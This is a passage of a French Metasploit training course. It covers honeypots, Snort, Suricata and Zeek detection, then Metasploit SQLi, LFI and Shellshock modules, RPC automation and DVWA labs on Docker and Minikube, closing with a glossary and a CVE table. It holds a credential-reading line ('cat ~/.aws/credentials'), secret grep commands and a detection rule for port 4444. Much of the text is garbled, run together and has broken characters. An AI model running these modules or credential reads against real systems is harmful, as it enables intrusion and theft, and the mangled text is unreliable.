grep -r "key" . grep -r "token" .
cat ~/.aws/credentials
eval() sur des données utilisateurpydantic, jsonschema)--ip=127.0.0.1)root sur les conteneursos.system, eval, etc.)à la fin de ce chapitre, vous savez :
Dans le chapitre suivant, vous étudierez les contre-mesures avancées : détection comportementale, honeypots, Snort/Suricata, et introduction au Threat Hunting avec Metasploit.
Vous ĂȘtes maintenant capable de comprendre les risques spĂ©cifiques du MLOps et de les exploiter comme de les prĂ©venir.
Dans ce dernier chapitre, vous apprendrez à repérer les attaques menées avec Metasploit, à mettre en place des honeypots pour piéger les attaquants, à analyser les comportements suspects avec Snort, Suricata et Zeek, et à utiliser les logs pour traquer l'activité d'un attaquant dans vos systÚmes.
nmapnmap -sS -p 1-1000 192.168.56.101
GĂ©nĂšre des paquets SYN inhabituels non suivis dâACK
msfconsole (scan ou exploit)sudo apt install honeyd sudo honeyd -d -f /etc/honeyd.conf -i eth0
Extrait de honeyd.conf :
default { personality "Linux 2.4.20" log tcp[23] log tcp[80] uptime 172800 tcp port 23 "sh /home/honeypot/start_telnet.sh" }
git clone https://github.com/cowrie/cowrie.git cd cowrie virtualenv cowrie-env source cowrie-env/bin/activate pip install -r requirements.txt cp etc/cowrie.cfg.dist etc/cowrie.cfg bin/cowrie start
Logs disponibles dans var/log/cowrie/ (sessions, commandes, IPs)
sudo apt install snort
Fichier /etc/snort/snort.conf :
include $RULE_PATH/local.rules
Créez une rÚgle personnalisée :
alert tcp any any -> any 4444 (msg:"Metasploit listener detected"; sid:100001; rev:1;)
Lancez l'analyse :
snort -A console -q -c /etc/snort/snort.conf -i eth0
sudo apt install suricata sudo suricata -i eth0 -c /etc/suricata/suricata.yaml -l /var/log/suricata/
sudo apt install zeek sudo zeek -i eth0
Analyse en profondeur (DNS, SSL, HTTP, etc.)
Fichiers : /usr/local/zeek/logs/current/
Installer auditd :
sudo apt install auditd
Configurer pour surveiller les fichiers sensibles :
auditctl -w /etc/passwd -p war -k metasploit_hunt
Afficher les événements :
aureport -k --start today
.msf4, payload.exe, shell.phpcmd.exe, powershell.exe, meterpreterAccĂ©der Ă lâinterface : http://localhost:5601
Créer un dashboard :
Dans ce dernier chapitre, nous allons étendre les compétences acquises pour aborder les usages les plus avancés de Metasploit :
Exemple : exploit/linux/http/apache_mod_cgi_bash_env_exec
cd ~/.msf4/modules/exploits/linux/http/ wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/linux/http/apache_mod_cgi_bash_env_exec.rb
msfconsole reload_all use exploit/linux/http/apache_mod_cgi_bash_env_exec
Fonctionnalités avancées :
Licences d'essai disponibles sur : https://www.rapid7.com/products/metasploit/download/
auxiliary spécifiquesLister les modules Web :
search type:auxiliary name:web
Exemples utiles :
auxiliary/scanner/http/dir_scannerauxiliary/scanner/http/http_versionauxiliary/scanner/http/wordpress_login_enumuse auxiliary/sqli/oracle/dbms_cdc_publish set RHOSTS 192.168.56.110 set RPORT 80 set URI /vuln.php?id= run
Exemple : auxiliary/gather/xssed_search
use auxiliary/gather/xssed_search set SEARCH_STRING login run
auxiliary/scanner/http/lfiuse auxiliary/scanner/http/lfi set RHOSTS 192.168.56.120 set RPORT 80 set PATH /vulnerable.php?file= run
msfrpcd -U msf -P mypassword -f -S
msfrpc ou msfrpc-client)pip install msfrpc
from metasploit.msfrpc import MsfRpcClient client = MsfRpcClient('mypassword') scanner = client.modules.use('auxiliary', 'scanner/ftp/ftp_version') scanner['RHOSTS'] = '192.168.56.0/24' scanner.execute()
Créer des scripts automatisés pour exécuter des campagnes de test post-deploiement.
Intégrer avec Jenkins, GitLab CI, etc. via des jobs qui appellent python + API RPC
Déployer un conteneur vulnérable :
docker run -d -p 8080:80 vulnerables/web-dvwa
Scanner avec Metasploit :
use auxiliary/scanner/http/http_version set RHOSTS 127.0.0.1 set RPORT 8080 run
Installer Minikube :
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 sudo install minikube-linux-amd64 /usr/local/bin/minikube
Lancer un cluster local :
minikube start
Déployer une app vulnérable :
kubectl create deployment dvwa --image=vulnerables/web-dvwa kubectl expose deployment dvwa --type=NodePort --port=80 minikube service dvwa --url
Scanner avec Metasploit comme ci-dessus sur l'URL exposée
Scanner lâhĂŽte puis le rĂ©seau interne :
post/linux/gather/enum_containers| Terme | Définition |
|---|---|
| Exploit | Code qui tire parti d'une vulnérabilité pour obtenir un accÚs ou exécuter une action non autorisée. |
| Payload | Charge utile livrée via un exploit, comme une shell ou un Meterpreter. |
| Encoder | Méthode pour modifier un payload afin d'échapper à la détection (ex: antivirus). |
| Module | ĂlĂ©ment de Metasploit (exploit, scanner, encoder, etc.) utilisĂ© dans une attaque. |
| Auxiliary | Module non-exploit, utilisé pour le scan, le fuzzing ou le déni de service. |
| Nops | Instructions vides insérées pour aligner un payload dans un buffer overflow. |
| RC Script | Script .rc pour automatiser des commandes dans msfconsole. |
| Reverse Shell | Shell envoyĂ©e Ă lâattaquant (connecte lâattaquĂ© Ă lâattaquant). |
| Bind Shell | Shell Ă laquelle lâattaquant se connecte (le shell attend les connexions sur la machine compromise). |
| Meterpreter | Payload interactif avancé permettant le contrÎle complet de la machine cible via Metasploit. |
| Post-exploitation | Actions entreprises aprÚs une compromission réussie (extraction de données, persistance, mouvement latéral, etc.). |
| CVE ID | Description |
|---|---|
| CVE-2011-2523 | vsftpd 2.3.4 backdoor - accÚs root via une fausse réponse smiley :) |
| CVE-2020-0796 | "SMBGhost" - exécution de code à distance sur Windows 10 via SMBv3 |
| CVE-2017-0144 | EternalBlue (SMBv1) - utilisé par WannaCry pour propager sur Windows |
| CVE-2021-4034 | Polkit pkexec - local privilege escalation (Linux) |
| CVE-2019-0708 | BlueKeep (RDP) - exécution à distance sur anciennes versions de Windows |
| CVE-2021-44228 | Log4Shell - injection de JNDI dans les logs Java (Log4j) |
msfconsole -r dans un pipeline CI/CD de sécurité.rc, les CVE utilisées et les preuvesCes annexes sont une boßte à outils permanente pour tout professionnel DevSecOps, Red/Blue Team ou MLOps cherchant à intégrer Metasploit dans une chaßne de sécurité offensive et défensive moderne.